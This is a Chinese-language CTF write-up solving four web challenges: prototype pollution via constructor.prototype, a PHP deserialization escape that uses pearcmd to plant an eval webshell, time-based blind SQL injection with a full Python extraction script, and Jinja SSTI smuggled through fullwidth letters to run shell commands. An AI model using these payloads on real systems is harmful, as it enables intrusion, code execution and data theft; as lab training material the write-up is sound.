又被带飞了

WHOYOUARE

下载附件审计代码,一眼原型链污染题。ban了很多东西

const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const merge = (target, source) => {
    for (const key in source) {
        if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                merge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

4字符命令执行也限制很多,只能想办法污染 Object 。这里我当时还是对原型链污染了解的太少了,后面才了解道可以用 constructorprototype 来绕过限制。

这里简单记录下

image-20221106214457156

可以看到对象 a 的原型和 a 的构造方法的原型是一样的,都是 Object

image-20221106214627145

image-20221106214645244

数组对象的原型是 Array,在往上是 Object

js 里的原型链说白了其实和其他语言里的继承是一样的。Object 里的东西在对应的实例会相应继承下来。

image-20221106215436166

顺着上面的思路就能得到 __proto__ ban了但 prototype 能用, constructor 也能用。注意到 request.user.__proto__ === request.user.constructor.prototype ,都是 Object 。js中数组最后的原型也是 Object ,所以可以这样污染

{"user":"{\"command\":[\"-c\"],\"constructor\":{\"prototype\": {\"1\": \"cat /flag\"}}}"}

img

连续发两次即可拿到flag

flag {AHhsDYc4hLkxcp0DkJJmBtL5gv5gQiYr}

ezus

首先可以看到这一段源码

<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
{
    exit("no way!");
}
if (isset($_GET['source']))
{
    $path = basename($_SERVER['PHP_SELF']);
    if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
    {
        exit("nonono!");
    }
    highlight_file($path);
    exit();
}
?>
<a href="index.php?source">source</a>

直接绕过就行

http://172.52.4.193/index.php/tm.php/�?source

得到tm.php源码

<?php
class UserAccount
{
    protected $username;
    protected $password;
 
    public function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
 
function object_sleep($str)
{
    $ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
    return $ob;
}
 
function object_weakup($ob)
{
    $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
    return $r;
}class order
{
    public $f;
    public $hint;
    
    public function __construct($hint, $f)
    {
        $this->f = $f;
        $this->hint = $hint;
    }
    
    public function __wakeup()
    {
        //something in hint.php
        if ($this->hint != "pass" || $this->f != "pass") {
            $this->hint = "pass";
            $this->f = "pass";
        }
    }
    
    public function __destruct()
    {
        if (filter_var($this->hint, FILTER_VALIDATE_URL))
        {
            $r = parse_url($this->hint);
            if (!empty($this->f)) {
                if (strpos($this->f, "try") !==  false && strpos($this->f, "pass") !== false) {
                    @include($this->f . '.php');
                } else {
                    die("try again!");
                }
                if (preg_match('/prankhub$/', $r['host'])) {
                    @$out = file_get_contents($this->hint);
                    echo "<br/>".$out;
                } else {
                    die("<br/>error");
                }
            } else {
                die("try it!");
            }
        }
        else
        {
            echo "Invalid URL";
        }
    }
}$username = $_POST['username'];
$password = $_POST['password'];$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?> 

存在反序列化的逃逸,目的是用UserAccount类去触发order类payload:


username=%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40&password=%22%3Bs%3A11%3A%22%00*%00password%22%3BO%3A5%3A%22order%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A61%3A%22php%3A%2F%2Ffilter%2Ftrypass%2Fread%3Dconvert.base64-encode%2Fresource%3Dhint%22%3Bs%3A4%3A%22hint%22%3Bs%3A25%3A%220%3A%2F%2F172.52.4.86%2F%3Bprankhub%22%3B%7D%7D

读一下hint.php

<?php
echo "This is the wrong way";
$flag = "you can find it in /f1111444449999.txt";
?>

尝试一下pearcmd,发现还真有,那么就可以直接写马了payload:


POST /index.php?+config-create+/&/<?=eval($_POST[1])?>+3.php

username=%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40%400%400%400%40&password=%22%3Bs%3A11%3A%22%00*%00password%22%3BO%3A5%3A%22order%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A60%3A%22trypass%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Flib%2Fphp%2Fpearcmd%22%3Bs%3A4%3A%22hint%22%3Bs%3A25%3A%220%3A%2F%2F172.52.4.86%2F%3Bprankhub%22%3B%7D%7D

getshell后读flag

(www-data:/var/www/html) $ cat /f1111444449999.txt
flag{sMGbQqN7RTQwS6L0j9f5nytW1wWBAkWJ}

popsql

纯sql注入绕过题,ban了很多测试发现username写死了只能是admin,password处存在注入

'or/**/if(1,benchmark(1000000000,1),1)#

有延时,可以用这个来时间盲注,但比较的运算符都被 ban 了,后面想了很久发现可以用整除的方法来判断,sql中 96 DIV ord('a') 结果为 0, 97 DIV ord('a') 结果为 1,可用来代替等号。利用 right 来截取字符串,配合 ord 打出取第一个字符 ascii 值的效果

查表

'or/**/if((97/**/div/**/ord(right((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer),1))),benchmark(100000000,1),1)#

表名: users, Fl49ish3re但不知道字段名, unionjoin 都被ban了,没法无列名注入。注意到mysql可以查历史记录的。

select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_summary_by_digest
select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history
select/**/group_concat(query)/**/from/**/sys.x$statement_analysis

都尝试跑下,跑了很久找到了列名 f1aG123 然后就爆破 fllag 即可

import requests
import time

burp0_url = "http://172.52.4.65:80/index.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://172.52.4.65", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://172.52.4.65/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
# dictList = "012456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def burp():
    password = ''
    time0 = 0
    num = 1
    while True:
        for i in range(32, 127):
            time0 = time.time()
            # select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer     查表
            # 查历史记录  select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_summary_by_digest
            # select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history
            # select/**/group_concat(query)/**/from/**/sys.x$statement_analysis
            # select/**/f1aG123/**/from/**/Fl49ish3re
            burp0_data = {"username": "admin", "password": f"'or/**/if(({i}/**/div/**/ord(right((select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history),{num}))),benchmark(100000000,1),1)#"}
            r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, allow_redirects=False)
            if time.time() - time0 > 0.5:
                password += chr(i)
                # print(r.text)
                break
            # print(chr(i))
        print(password[::-1])
        num += 1
    
if __name__ == '__main__':
    burp()

img

没有人比我更懂py

发送 {{1*2}} 回显 2 ,存在SSTI,但只能发送中文,不能出现英文字母,但可以有特殊字符。可以试试其他 Unicode 字符。在 Unicode字符百科网站上找到了 全形拉丁文小写字母

img

尝试发送发现最后解析成了正常的字母

img

所以可以利用这个 全形拉丁文小写字母 来构造payload

{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /*').read()}}

img

flag{divTsehRNaVAaUR1eamFeKs4mmX82Kid}